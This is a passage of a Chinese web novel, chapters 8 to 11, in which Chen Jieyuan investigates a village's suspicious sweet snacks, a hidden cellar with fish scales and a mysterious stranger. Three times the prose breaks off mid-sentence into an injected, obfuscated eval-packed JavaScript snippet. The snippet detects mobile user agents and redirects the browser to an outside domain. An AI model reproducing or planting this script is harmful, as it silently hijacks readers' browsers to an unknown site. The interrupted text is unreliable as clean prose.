陈结愿随着她的视线看去,很多今天和陈结愿打过招呼的村民都站在外面,似乎是在等阿桃。 陈结愿心中了然,不再麻烦她。 目送阿桃走出去,陈结愿关上门,余光瞥到玻璃窗倒映出一抹淡淡的蓝色。 她屏住呼吸,转头,玻璃窗映出的是她的脸。 一切正常。 大概是她看错了吧。 8. 第8章 助理也不清楚自己已经在这里走了多久了。 在第三次看到一模一样的房子之后,助理彻底绝望了。 这里简直就是一个大型迷宫,不管他怎么走最后都会回到原点。 他已经靠着背包里的营养剂度过了几天,眼见营养剂也马上就要见底了,不禁叹了口气。 他还能靠营养剂苟活,可陈结愿和等等呢? 想到他们,助理的表情愈发凝重。 他们从那么高的地方摔下去,生还的可能几乎来说是没有的。 而且等等的表现也很……怪异。 他说不好是不是自己的错觉。 不,不可能是错觉。 他明明那么努力地一直在喊等等的名字,可等等就像没听见一样,直直走向陈结愿。 那里的地面那么坑坑洼洼,按理说等等看不到肯定不会走的那么顺畅,然而他却连踉跄都没有。 还有,那里明明那么宽,可偏偏、为什么,在陈结愿根本就没发出声音的情况下,他能精准地走向陈结愿所在的方向呢? 最重要的是,他总直觉地面原本是不会塌陷的,至少在等等靠近陈结愿之前是不会的。 如果单单只是一道裂缝,肯定不足以让一块面积可观的地面直接塌陷,他隐约间似乎看到等等在站上去之后不动声色地跺了一下脚。 再然后,天塌地陷。 助理呼吸愈发沉重,体力消耗的太快,他意识到这样盲目乱走是不可能出去了,只得坐下来先思考对策。 静下心来,助理才有余力去观察周遭的情况。 这里大概是一片已经荒废的居民区,经济看起来很不发达的样子,助理走了那么久也没有见到一个人影。 空气中总是飘着若有若无的腥味,像是血,也像是鱼的味道,可这附近明明没有海也没有人。 他吸了吸鼻子,有一个方向传来格外重的腥味。 助理目光转向那里,那里两间房子挨得很紧,空隙只够一个人勉强穿行。 他没在意,休息的也差不多了,打算继续研究怎么走出去。 他站起身来,眼前突然陷入一片漆黑,踉跄了几步之后跪坐在地上。 几天的行走已经差不多把他的体力消耗殆尽,再走不出去的话他估计就真的玩完了。 谁知这一踉跄直接就把他踉跄到了那空隙的正前方,助理强忍着眩晕睁开眼,眼前的景色却让他整个人直接僵在原地。 微弱的阳光照在地面上,带起一片蓝色的波浪,空隙的地面被大大小小的鱼鳞覆盖,几朵艳丽的红花突兀地立在上面,隔一段距离就有一朵,就像是刻意在引导人沿着花朵生长的路线前进一样 助理再次起身,挤进空隙中,踩着鱼鳞一路穿行。 道路越走越宽,阳光逐渐变强,照得助理几乎都要睁不开眼。 在穿过一片耀眼的白光之后,助理屏住呼吸,不敢置信地看着眼前的景色。 “这太不对劲了……” 等等手里还端着点心,听到陈结愿的声音后歪头,“什么不对劲?” 甜腻的味道弥漫在整间房子里,一直刺激着陈结愿的食欲,她推开窗,“不管怎么说,这里受到的污染都太小了。” 等等放下勺子,有些苦恼,“我看不见,不知道姐姐说的具体是指什么。” “不过我觉得这里的人都很亲切,应该不会是坏人吧。” 陈结愿不置可否,婆婆戒备的眼神还历历在目。 但村民待他们亲切也是事实,就比如说阿桃,不光把一间房子让出来给他们住,还会精心准备好他们的一日三餐。 明明大家的表现都还算友好且正常,婆婆反常的举动硬要说的话也可以用茅草屋里面可能放了一些不方便给外人看的东西来解释,可陈结愿就是下意识地觉得这个村子不像表面看上去的那么和平。 这些毕竟都是猜测,陈结愿还需要收集更多的情报。 她推门出去,外面的空气中也满是甜腻的气味。 陈结愿记得昨天这些味道还没有那么重。 她向田间走去,甜腻味越来越重,陈结愿俯身捧起一把土,举到鼻尖嗅了嗅。 味道大概就是从土里传出来的。 她又扒开土看了看,这好像就是之前研究所的同事带回来的土。 等等还用这个土种出了豆芽。 不过他们带回来的土有这个味道吗? 陈结愿感到脚边一阵痒意,低头看去,是昨天跑走的橘猫。 它亲昵地扒上陈结愿的衣服,一个劲向上爬,陈结愿怕它再跑走没有动弹,橘猫就一直爬到了陈结愿的肩膀。 它这次好像是没有再跑走的意思了,一直对着陈结愿的脸蹭来蹭去,还时不时舔咬两口,陈结愿莫名感觉自己变成了猫猫的美食。 陈结愿屏住呼吸,刚要把手抚上橘猫的头。 “姐姐救命啊!!”等等凄厉地喊道。 陈结愿目光一凛,猛地回头,有些哭笑不得。 几只猫咪将等等包围住,猫猫们蹦跳着爬上他的肩膀、手臂,用爪子勾住等等的衣服,将脑袋伸进等等手里的盘子就开始吃起他的点心。 等等没保持好平衡,一下子被猫猫们推到在地。 猫猫们将点心吃完,又把罪恶的小嘴转向了等等本尊,一样是又咬又啃又舔,简直把他当成了刚抓上来的鱼。 橘猫从陈结愿的身上跳下来,缓步走向等等,也加入了讨伐等等的行列。 “哎呀,孩子们吃得挺香。”阿桃拨开稻穗走了进来。 猫猫们看见阿桃来了,喵喵叫着四处散开。 陈结愿走过去将等等扶起来,“它们挺粘人的。” 阿桃莞尔一笑,“你们身上有它们喜欢的味道。” 陈结愿注意到阿桃手里还拿着点心,认为是拿给等等的,下意识就要跟等等说不要吃太多。 阿桃却是从篮子里抓了一把,洒向田间。 “怎么扔了?” “这点心很有营养的,不光你们爱吃,小猫们也爱吃,这田也爱吃呢,”阿桃说着,又洒了一把,“我们村能衣食无忧,全靠这点心。” 点心落到土面,地表的温度很快就将其烤化了,散发出更加浓烈的甜味,被泥土吸收进去。 猫猫们争先恐后地跑过去,试图占据那块洒了点心的土地,甚至险些打了起来。 陈结愿忍不住发问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181266|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这点心是用什么做的?” 阿桃无言,继续在田里洒着,等等见她没回应,又替陈结愿问了一遍。 阿桃眼睛转了转,最后露出有点抱歉的神情,“本村秘方,谢绝外传。” 阿桃话都说道这个份儿上了,陈结愿也不好再继续问。 她转移了个话题,“你们这里有能和外界联系的方法吗?” “不回去不也挺好的吗。”阿桃面色不变, 陈结愿皱眉,这是什么意思? 阿桃似乎是意识到陈结愿的脸色变得不大好看,解释道:“我们村从来不和外界联系的。” “你不如跟我说说,外面是什么样的,有什么让你那么想回去呢?” 陈结愿顿了顿。 “外面……天空被黄沙遮盖,基本见不到阳光,植物也没有办法生长,还有鲽族会时不时跑到岸上来……” 阿桃听着,眉头越皱越紧,“那有什么好怀念的。” 确实,跟稻家村比起来,陈结愿以前生活的地方就像是地狱。 每天都不断地有人丧命,就连最基本的食物来源都是问题,人们长期生活在昏暗的环境下,精神状态也都不算太好。 陈结愿居然真的想不出来她有什么必须要回去的理由了。 “阿桃!点心的原料又快没有了!”三五个村民走近,都是一脸愁容。 阿桃放下手里的篮子,“很快就会有了。” 陈结愿和村民对上视线,他们脸上的愁绪马上就一扫而空。 “你们也在啊!正好,来来来,分你们一些点心。” 等等伸手就要去接,被陈结愿拦下,“没完了?” 等等也是个不见外的,都不知道吃了多少盘点心了。 然而在点心真的被端到她面前的时候,陈结愿承认,她也是堪堪才抵挡住诱惑的。 不知道这点心到底是用什么做成的,真的……格外诱人。 陈结愿把这一切都归咎于她之前一直吃的营养液,长期吃那种无味的东西,一时吃到有味道的食物难以控制食欲也是情有可原的。但陈结愿从来都不是那种没有自制力的人,不管怎么说这点心对她的诱惑力都不太对劲。 村民的表情僵硬一瞬,“怎么不吃了?” 等等不好意思地挠挠头,“不吃了,我已经吃了太多了。” 村民又把目光转向陈结愿,似乎在等她的解释。 他们的目光莫名让陈结愿不太舒服,她握紧等等的手,“刚才你们不是说原料快没了吗,省一些吧。” 村民表情不变。 陈结愿想了想,又道:“不过很好吃,谢谢招待。” 村民这才又眯眼笑起来,“客气什么!你们敞开来吃就行!” 果然,有哪里不太对劲。 陈结愿嘴角含笑,露出一个标准的无害笑容,“别光顾着我和等等了,你们也吃一些吧。” 一时没有人回应。 陈结愿感觉等等的手中渗出了冷汗,大概是被这个沉默的气氛吓到了,陈结愿挠了挠他的手心以表安抚。 她暗自吸了一口气,再次开口道:“大家对我们太热情了。” “我都不想走了。” 9. 第 9 章 “哈哈哈哈,好!稻家村欢迎你们!”为首的村民说着,大力拍上陈结愿的后背。 陈结愿身上的伤本来就还没有好,此刻硬生生吃了成年男性一掌,险些站不住脚。 她咬紧牙关,将闷哼死死堵住。 陈结愿又缓了一会儿,淡笑着开口道:“真不知道该怎么报答你们。” 她故意将“报答”两个字的读音加重,不动声色地观察着村民的反应。 村民们还保持着笑脸,对陈结愿的发言不置可否,一道道饱含深意的目光落在陈结愿身上,拧成一股绳将她缠绕住,陈结愿呼吸都变得有些粗重。 她压下心悸,直直与村民们对视,手却攥得越来越紧。 “你们健康就是对我们最好的报答啦。” 陈结愿转头看向阿桃,阿桃眉眼弯弯,没有躲避陈结愿的视线。 陈结愿一直认为眼睛是人类体内最诚实的器官,口腔可以轻易吐出谎言,肢体动作稍加训练也能很好地控制,唯有眼睛是最难以驯化的。 拿滴眼药来举例子,害怕滴眼药的人哪怕再努力地想要眼药水里接触到眼球、再努力地睁大双眼,他的眼睛也一定会背叛大脑的旨意,在眼药滴入眼眶之前毅然决然地将它隔绝。 也就是说,判断村民们说的话是否发自真心其实只需要看他们的眼睛。 但问题就出在这里了。 陈结愿从不避讳观察他们的眼睛,按理来说不管什么人被这样直勾勾地盯着都不会很舒服,哪怕不会表现出恐惧,多少也都会稍微闪躲一下,可稻家村的村民不一样。 自陈结愿醒来以来,这里没有一个人躲避过陈结愿的视线,相反,他们还会主动与陈结愿对视,就像现在阿桃所做的这样。 阿桃的眼神里从来都没有恶意,言语中的关切也不似有假,但就是莫名地让陈结愿感到非常不适。 陈结愿忍下心中的诡异感,率先收回视线,“那就谢谢大家的好意了。” 与村民们的对话结束之后,陈结愿再次来到了那个可疑的茅草屋前,嘴角向下撇了一些。 不知道是不是那位婆婆走漏了风声,茅草屋前竟多了三五位青壮年,他们百无聊懒地谈天说地,却在看到陈结愿之后住了嘴。 陈结愿装作什么都没察觉的样子,略过他们转身向阿桃的房子走去。 她还没走出几步身后便又传来谈笑声,陈结愿垂眸,加快了脚步。 陈结愿在房前停下,手已经快要敲上房门,余光注意到了什么,堪堪停下手。 只见原本清透明亮的玻璃窗被层层纸张密不透风地糊住,看不到屋内的任何情况。 陈结愿心下一惊,顾不上敲门,快步进入了房间,随即松了一口气。 等等还完好地坐在那里,屋内也没有其他人。 等等听到脚步声,朝门口的方向扭头,“是姐姐回来了吗?” 陈结愿走近,“是我。我出去后有人来过吗?”她几乎是无意识地将手伸向等等面前的盘子,摸到什么后看都没看就想往嘴里送,等等按下她的手,抬起头。 陈结愿视线向下,蹙眉,手里赫然捏着一块点心。 她眼神颤了颤,松开手,点心掉回盘子里,阿桃殷切地为他们端来点心的场景再次在脑海里浮现。 不能再让等等继续吃下去了。 “姐姐怎么能抢我点心呢,”等等嘟着嘴赌气,但还是老老实实回答了陈结愿的问题,“有人来过,说是要加固窗户。” 这些人简直就是仗着等等看不见就开始为所欲为,拿纸糊窗户哪能起到加固作用。 “嗯。”她点头,将盘子端到一边,“等等,以后就不要再吃这个了。” 等等虽不情愿,但他一向很听陈结愿的话,这次也没有拒绝,只是默默低下头。 陈结愿看他这样一幅委屈样子,又开始心软,忍不住摸上他的头。 等等身形一僵,陈结愿后知后觉地拿开手,“抱歉,吓到你了。” 等等摇摇头,“姐姐调查到什么了吗?” 陈结愿顿了顿,“还没发现村子有问题的确凿证据,”她将目光再次移向密不透风的窗户,等等似乎很相信这里的村民,在没有确定的情况下陈结愿尽量不想去伤他的心,“但就目前来讲,他们似乎并没有伤害我们的打算。” 等等点头,还没说话,阿桃推门而入。 陈结愿向左一步,挡住没有吃完的点心,可似乎还是晚了一点,阿桃露出一个了然的笑容。 “吃太多都会腻的,没关系。” 对方没有丝毫感到被冒犯的意思,仍旧保持着笑脸,将带来的饭菜一一摆在桌子上。 陈结愿藏着心事,一顿饭的时间都没怎么说话,见陈结愿这样,等等也跟着沉默起来,只有阿桃在那里说个不停,哪怕极少得到两人的回应也并未生气。 饭后,阿桃照常收拾好碗筷,离去之前被陈结愿叫住。 陈结愿不动声色地朝半掩着的门外看去,果不其然,又是很多人在外面等着阿桃。 陈结愿问:“你们晚上是有什么活动吗?我不习惯早睡,有些无聊,也想跟去看看。” 阿桃依旧保持着背对陈结愿的姿势,“没什么好玩的。你们还受着伤,晚上风大,尽量不要出来比较好。”说罢,她踏步出去,将门带上。 陈结愿放下嘴角故意扬起的弧度,面无表情地走到床边,躺下。 现如今窗户被糊上,陈结愿唯一可以不出屋子在夜间观察外界的途径也被堵住,她再想夜间调查的话只有偷溜出去这一条路可以走。 可阿桃明显不愿意陈结愿在夜间外出,这就又给她的行动增添了隐患。 任凭陈结愿怎么观察,她在早间获得的信息也都只是冰山一角,只能观察到浮于表面的反常,根本没有办法参透村民们所作所为的目的。 她闭眼,在脑海里整理起值得注意的地方。 首先就是这里的点心,几乎已经可以确定有问题。村民们口口声声说这是村子里的特产,陈结愿却从没见过它进到村民的嘴里,倒是一直撺掇着她和等等多吃一些,虽然她和等等并没有出现身体上的问题,但也绝对不能掉以轻心。 其次,就是村民们的夜间行动,他们似乎在夜晚有自己的固定活动,并且有意不让她和等等参与进去。 想到最后,陈结愿眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181267|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微眯。 那间可疑的茅草屋,里面应该藏着些什么东西,而且是对这个村子来讲十分重要的东西,所以他们才这样戒备着。 这里不是她的实验室,没有可以分析成分的仪器,阿桃也不愿松口,陈结愿无法得知点心的材料有什么问题。 剩下的两个问题……除了偷溜出去打探以外,陈结愿想不到别的方法。 她将目光转向等等,嘴开了又合,最后还是扭过头,决定不告诉等等。 等等毕竟看不见,行动不方便,还是留在这里对他来说比较安全。 后半夜,陈结愿从床上起来,确定等等已经熟睡后轻手轻脚地踏了出去。 外面没有半个人影,寂静到了一种可怖的地步,陈结愿边走边四处张望着,终于看见远处的点点亮光。 她一路就着房屋的遮挡走近,只见一片空地之上架起一口大锅,村民们全部都围在那里,锅里煮着什么东西,村民们嘴里念念有词。 “感谢你们,带来粮食。” “感谢你们,带来生机。” “感谢你们,带来希望。” 锅内的物体逐渐开始沸腾,味道顺着空气四处飘散,飘到陈结愿的身侧,陈结愿腹中隐隐传来饥饿感。 那味道甜腻、绵长,在这个村子里无处不在……就是那点心的味道。 陈结愿想起,阿桃早上说过稻家村的安宁就在于这点心。 既然只是做点心,为什么要避着他们呢? 因为点心的原料有问题。 猜想得到进一步证实,陈结愿后退一步,脚下传来清脆的声响,她无意间踩断了一根树枝。 村民们听到声响立即顿住,齐刷刷地看向陈结愿所在的方向,陈结愿屏住呼吸,她站在视野盲区,只要村民们不走近就不会被发现。 “你们听到什么声音了吗?” “好像是有,谁去看看。” “没必要吧,说不定是小猫。” “万一不是呢。”阿桃说道。 陈结愿心下一沉。 她身后脚步声逐渐逼近,陈结愿迅速扫视着周边,试图寻找可以躲避的地方。 村民的房子……不能躲在那里。 躲进田地里无法避免稻谷晃动,太明显了,也不能躲。 那脚步声马上就要到达陈结愿的身边,冷汗滑下,陈结愿扫到那间茅草屋,来不及思考太多,几步就跑了进去。 她躲在屋内,连呼吸都不敢大声,观察着门外的情况。 阿桃走到陈结愿刚刚躲藏的地方,什么都没发现,仰头喊道:“没事,什么都没有!” “好嘞——” 得到回应之后阿桃也没多作停留,只是狐疑地又扫视了一圈周围,确定没有任何人之后才转身离开。 陈结愿终于吐出一口气,身体脱力,闭上眼,顺着墙面滑下,冷汗一滴一滴落在地面。 她靠在墙上缓了一会儿,再次睁开眼,又是让她震惊的景象。 茅草屋并不像外界看上去的那样只是一间寒酸的房子,在陈结愿向前几步的位置,一道楼梯直直通向地下。 一片漆黑,深不见底。 10. 第 10 章 陈结愿屏住呼吸,顺着楼梯向下走去。 楼梯旁没有灯,只有点点蓝光若隐若现地在闪烁,她每一步都走得十分谨慎,但脚下的楼梯还是会发出“吱呀吱呀”,陈结愿只得继续放慢速度,生怕发出什么大的动静惊动村民。 陈结愿脚下一滑,眼见就要摔下楼梯,赶紧扶住身旁的墙面,松了口气。 “你是谁?来这里干什么?” 一道缥缈的声音从陈结愿的背后传来,她瞬间拔腿向下跑去! 此时她也顾不上脚下声音的大小了,身后传来的每一声“吱呀”都像是催命符一样赶着她前进,一开始两人的脚步还有些差距,到后来身后的脚步声频率与陈结愿的逐渐同步,甚至隐隐有超过她的趋势。 陈结愿跑着,大脑飞速运转。 他是村民吗?现在村民应该都在外面围着那口大锅才对,为什么他会出现在这里?! “他们应该跟你说过这里不能进吧。”那人说着,声音像是蒙上了雾,听不出男女也听不出情绪,只是离陈结愿越来越近了。 陈结愿手边摸上一块松动的扶手,心下一横,直接将其整个拔了下来,朝着身后的人挥去! 那人只是稍微一闪就躲过陈结愿的攻击,陈结愿“啧”出声,在楼梯上争执绝对不是明智的行为,她转身继续向下跑去。 终于跑到平地,陈结愿的体力已经不剩多少了,身后的脚步声还在逼近,陈结愿呼吸愈发急促,飞速观察四周。 她所处的大概是类似于大厅的位置,还是一样昏暗,只有不知道光源的微弱蓝光,周围的墙壁上安了三四扇看不出区别的门,陈结愿不知道里面是不是有更多的人,不敢贸然打开。 与此同时,那人也走下来,陈结愿退无可退,后背靠上墙壁,双手死死攥住扶手,紧盯着那人。 那人穿着一身黑衣,将自己裹得十分严实,几乎没有一块肌肤是露在外面的,只能看出个人形。 他在看到陈结愿的攻击姿态之后反而放缓了脚步,从嘴角里挤出一声笑来,“怎么不说话?外乡人。” 他果然是这里的村民。 陈结愿咬牙,“这里到底藏着什么?” 那人并没有回答她,陈结愿只是眨了下眼的功夫他就已经闪到陈结愿的面前,冰冷的吐息打在她的脸上,激起一层鸡皮疙瘩。 陈结愿蹙眉,转动手臂,猛然挥动手里的扶手,直直朝着那人劈去,只不过还没挥到,那人就一只手攥住她的胳膊,他不管是力气还是速度都夸张到不像人类,以迅雷不及掩耳之势扫向陈结愿的双腿,将她撂倒在地。 陈结愿猛地翻身,这次终于没有抡空,结结实实地朝那人的脑袋来了一下,又趁那人还没反应过来,双腿发力,将那人蹬飞出去! 陈结愿后背传来一阵疼痛,她起身,看向地下,几片蓝色鱼鳞染上鲜血,静静躺在地上,瞬间点燃陈结愿的大脑。 这里不是没有污染吗,为什么会有鲽族的鳞片! 那人此刻已经再次站起来,出现在陈结愿的背后,“你太好奇了。” “我可没想过攻击你,你却上来就拿棍子棒我,有些不讲道理。” 陈结愿听到自己身后脚步声渐远,似乎是那人在表达自己的诚心。 陈结愿当然不会因为一句话就相信他,没有丝毫放下武器的想法。 她的耳边都是自己剧烈的心跳,她开口,声音格外沙哑:“这里怎么会……” “这可不是鲽族的鳞片。” 陈结愿回头,双目猩红地瞪着他。 “你为什么知道我想问这个。” “因为我一开始也有这个想法。” 陈结愿皱眉,“什么意思?” 这分明就是鲽族的鳞片,别人可能会认错,但陈结愿前段时间每天都在研究所里对坎特雷拉进行实验,是绝对不可能认错鲽族的鳞片的。 那人却是不想再解释下去,只耸耸肩,“这里从来都不欢迎外乡人,尽早放弃然后离开吧,继续插手对你没有任何好处。” 陈结愿才不愿意被这样轻易打发,“既然不欢迎,那你们为什么要招待我?” “‘你们’?我可从来都没说过我是这里的人,我跟他们不一样,我想帮你。” 陈结愿眉头皱得更紧,狐疑地盯着那人。 如果他不是村民,那他的行为就更加诡异了,陈结愿想不出他为什么要来阻止自己。 他总不可能真的是出于好心,只可能是……在帮着村民一起掩藏某种秘密。 那人见她这样也不恼怒,手指绕上陈结愿的发丝,被陈结愿一把拍开,他反而笑出声来,“你的敌人不该是我,陈结愿。” 陈结愿目光更冷,这人甚至知道她的全名。 他的一番看似友好的发言不但没有打消陈结愿的疑心,反而让陈结愿更加怀疑。 那人等了半天,没有等来陈结愿的回复,转身就要离开。 “你要去哪。” “我累了,要回去休息。”那人说着,走上楼梯。 陈结愿直觉不能让他离开,奔上去想要拽住那人的胳膊。 可她只是眨了一下眼,再次睁开的时候,面前已经空无一人。 巨大的恐惧感漫上心头,陈结愿脚下生风,顺着楼梯一路向上,回到她一开始进来的地方。 那人也不在这里,应该已经离开了,陈结愿平复着自己的呼吸,想不明白他的动作怎么能快到这种地步。 关于村子的谜题只增不减,原本就够让陈结愿头疼的了,现在还蹦出来个自称为陈结愿着想的神秘人,硬生生把陈结愿的思绪搞得更加混乱。 一直呆在这里也思考不出什么,陈结愿透过窗户观察外面,此时外面已是一片寂静,夜深了,想必村民们也都回去睡觉了。 她今晚已经消耗了太多体力,还是早点回去更加安全。 陈结愿推门,没推动,不可置信地看向自己的手,喃喃道:“不会吧……” 她再次用力,大门依然纹丝不动。 那人居然还把门锁上了! 这下好了,陈结愿现在不得不将满脑子的疑点扔在一边,思考起怎么出去。 大声呼救肯定不行,村民门本就不愿让陈结愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181268|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入这里,要是被他们发现陈结愿不光在晚上偷溜出来还进入了茅草屋就完蛋了。 可不呼救的话,门锁无法从茅草屋内部打开,陈结愿也不可能暴力把门踹开出去,这肯定会引起村民的注意。 正当陈结愿焦头烂额之时,细小的声音从门缝飘进来。 “姐姐?你在这里吗?” 陈结愿眼睛亮了亮。 “等等。” 等等的声音雀跃起来,“太好了!”声音戛然而止,他再次开口的时候将音量压得比一开始还低,“我现在就给你开门……” “咔哒”,门开了,陈结愿终于松了口气,还没来得及说话就被等等撞得踉跄了几下。 “姐姐,你吓死我了……”等等语调微颤,明显是快哭出来了。 陈结愿最不擅长应付别人在她面前哭,双手架在空中不知道该怎么摆,最后小心翼翼地环住他,等等身形一顿,把头埋在陈结愿的肩膀上。 陈结愿轻声安抚,哄着等等放开她,两人一起回到阿桃的房子里。 期间等等一直握着她的手,说什么都不愿意松开,好像一松手陈结愿就会立马丢下他离开一样。 陈结愿没想过自己不在会让他这么不安,声音染上一丝歉意:“抱歉……”说完她又意识到什么,“你怎么知道我在那?” 等等开口,声音还是闷闷的:“我醒来之后发现姐姐不在,就出来找,结果怎么都找不到……我想过你会不会在村民的房子里,但我又觉得你不会那么做,我就去没人的房子里找……” 陈结愿听着,内心愧疚感愈发深重。 这么多年来,保全大局对陈结愿来说早就是习以为常的事,她作为著名教授的女儿、为数不多有能力接触到专业知识的人,必须做出最有利于局面的选择。 这次也是,她综合考虑下认为自己独自探索才是最好的选择,她想到了等等的身体状况、村民们的态度……唯独没想过等等会有担心自己的情绪。 陈结愿的眼眶隐隐发热,巨大的陌生情绪将她包裹。 终于回到熟悉的环境,陈结愿走到床边打算躺下,等等才终于松手。 然而就在陈结愿闭眼的下一秒,床陡然向一边塌下一些。 陈结愿眼睛瞬间睁大,只见被窝里鼓起一个包,四处窜动,停在陈结愿脸前。 “等……” 陈结愿话音未落,等等猛地探出头,二人鼻尖相对,等等的呼吸声在陈结愿耳中都格外清晰可闻。 陈结愿莫名感到有些慌乱,大脑一下宕了机,“怎、怎么了,这是干什么。” 等等沉默不语,手在被窝里摸索,摸到陈结愿的手之后轻轻握住,终于笑了,“姐姐。” “姐姐不在身边,我真的很害怕。” “我这不是回来了,什么事都没有。” “有事。” 陈结愿呼吸一滞。 等等将她的手带到自己脸边,蹭上去,“姐姐没事,我有事。” “我会害怕,会忍不住想,姐姐是不是认为我太麻烦了,或者是讨厌我了,所以要丢下我。” 11. 第 11 章 陈结愿眼见等等泫然欲泣,连忙道:“我没这么想过。” 等等却是个不好哄的,他脸色没有丝毫好转,依旧死死抿住唇,仿佛下一秒就要哭出来。 陈结愿顿感手足无措,她可从来都没有过安慰人的经验,眉头拧成一个结,想要抽出手摸摸等等的头,却被握得更紧。 她只得叹气,“抱歉,我只是希望保证你的安全。” 等等愣住。 “我不知道你会这么想……”陈结愿借机抽出手,轻柔地将手放在他的头上,“夜里行动本就危险,你眼睛又不好,万一真的被发现了我不确定能不能护住你。” 等等的眼睛被白布遮盖,陈结愿无法读出他眼中此刻的情绪,只能将视线聚焦向他嘴角的弧度。 只见等等双唇微张,粉嫩的唇承受过刚才的压力颜色愈深,陈结愿莫名无法移开目光,就连睫毛颤抖的幅度都变小了。 “姐姐。” 陈结愿猛地转目,不知从何涌起一股无所适从的感觉。 等等双唇开开合合,却连半个音节都没发出来,最后将自己蜷缩起来,默默把头埋回被子下。 陈结愿还没搞清楚状况,就听被子里传来等等的声音,“对不起。” 陈结愿被这一声整得有些发愣。 要不是陈结愿清楚地知道被子里的人就是等等,她绝对不会认为这声音是等等发出来的。 和等等以往软糯的语调不同,他将这句话说得格外平淡,没有什么起伏、听不出明显的情绪,“姐姐对我来说是家人。” “我从小就没见过父母,一直一个人生活,好不容易种出一些粮食就被其他人劫走了。不光这样,不管我走到哪里都没有人待见我,他们欺负我、厌恶我,想尽一切办法要将我赶走。我一直很渴望有个真正为我着想的家人,终于,我遇到了姐姐。” “但是,我也知道姐姐并不喜欢我。说得也是,毕竟我出现得这么突然,还把姐姐原来的生活搅得天翻地覆,不喜欢我也是当然的。” “今后我应该还会不断地给你添麻烦,你肯定会讨厌我,说不定还会恨我,这些我都很清楚。但是不知道为什么,这几天我一直希望……时间慢一些就好了,姐姐恨我的日子能不能慢一些来,能不能不要来,我能不能一直享受这份温柔。” 讨厌?恨?等等怎么会这么想。 虽然一开始陈结愿确实对他有所怀疑,可这一切都随着他们经历的生死消散殆尽了。 想到这里,陈结愿一把掀开被子,两人一同暴露在空气下,一切细微的动作都无所遁形。 等等身形一颤,将脸埋下去,即使陈结愿看不见他的眼睛,现在也能解读出他的情绪:他很震惊。 陈结愿抢在等等前开口:“我不会讨厌你的。” 陈结愿伸手,将他的头带向自己怀里,一下又一下地轻抚着。 她能感到怀中的人格外僵硬,但陈结愿此刻不愿松手,“我不知道什么是家人,我的父母都在我记事之前离开了。” “但如果你想和我成为家人,我很愿意。”她自顾自地说,没有收到任何回应,心跳的频率却比任何时候都要平稳。 细碎的阳光透过报纸的缝隙钻进屋内,陈结愿四周冷意退散,取而代之的是绵长的温暖。 哪怕光很微弱,也足够提醒陈结愿,天亮了。 等等撑起身子,抬头,两道温热的吐息很快交缠到一起。 陈结愿眉眼不自觉地柔和下来,还想开口说些什么,却被一道尖锐的声音打断。 “该死的!原料不见了!阿桃——阿桃!!!” 陈结愿蹙眉,原料不见了?她可什么都没拿走,难不成是那个可疑的人干的。 阿桃的声音响起:“怎么可能,”她顿了顿,“昨天有人进过仓库吗?” “没有啊!”一个村民慌乱地道。 说话声越来越近,陈结愿果断掀起被子盖在她和等等身上,“别出声。” 果不其然,下一秒房门处就传来擂鼓般的声响,不出两下就被粗暴地踹开。 啧。 陈结愿眯眼,缓缓坐起身来,装作睡眼惺忪的样子,不解看向屋内众人。 阿桃站在众人中央,面无表情,“抱歉,吵醒你们了?” 陈结愿内心警铃大作,但面上还是那副迷茫的表情,摇了摇头。 “等等还没醒。”她揉揉眼,“我听见有东西丢了,村子里进贼了吗?” 没有人回应她。 陈结愿四肢发麻,一股冷意顺着阿桃的目光传到她身上,她强行压下移开目光的冲动,直直与阿桃对视。 一秒、五秒、十秒。 阿桃终于开口,嘴角扬起一个诡异的弧度,“没关系,跑不远的。” 陈结愿还没来得及继续发问,就见阿桃转过身,似是完全没有和陈结愿继续交流的打算,就这么走了出去。 几个村民先是深深看了一眼陈结愿,而后也跟着阿桃走了出去。 陈结愿眼皮一跳,连忙下床,然而还是晚了一步。 “咣当!” 房门被粗暴地关上。 陈结愿摸上门把手,用力向前推,房门果然纹丝不动。 阿桃道:“我们要清查村子里的可疑人员,等抓到小偷就放你们出来。” 陈结愿咬牙,阿桃说得倒是好听,但陈结愿怎么可能不明白,这些人分明就认定了是他们偷的东西! 短期之内被关两次,陈结愿忍不住将气都撒在那个妨碍她的人身上。 口口声声说什么是来帮她的,行动却是每次都想置陈结愿于死地。 陈结愿仍不愿放弃,“我也可以帮忙找。” “不用了。” 对方态度坚决,陈结愿明白肯定是没法让村民主动放他们出去了。但陈结愿不知道村民会如何对待他们,这个村子是绝对不能再待下去了。 陈结愿心一横,转身去拉等等的胳膊,手心处感到一股滑腻的触感,陈结愿垂眸看去,瞳孔剧烈晃动。 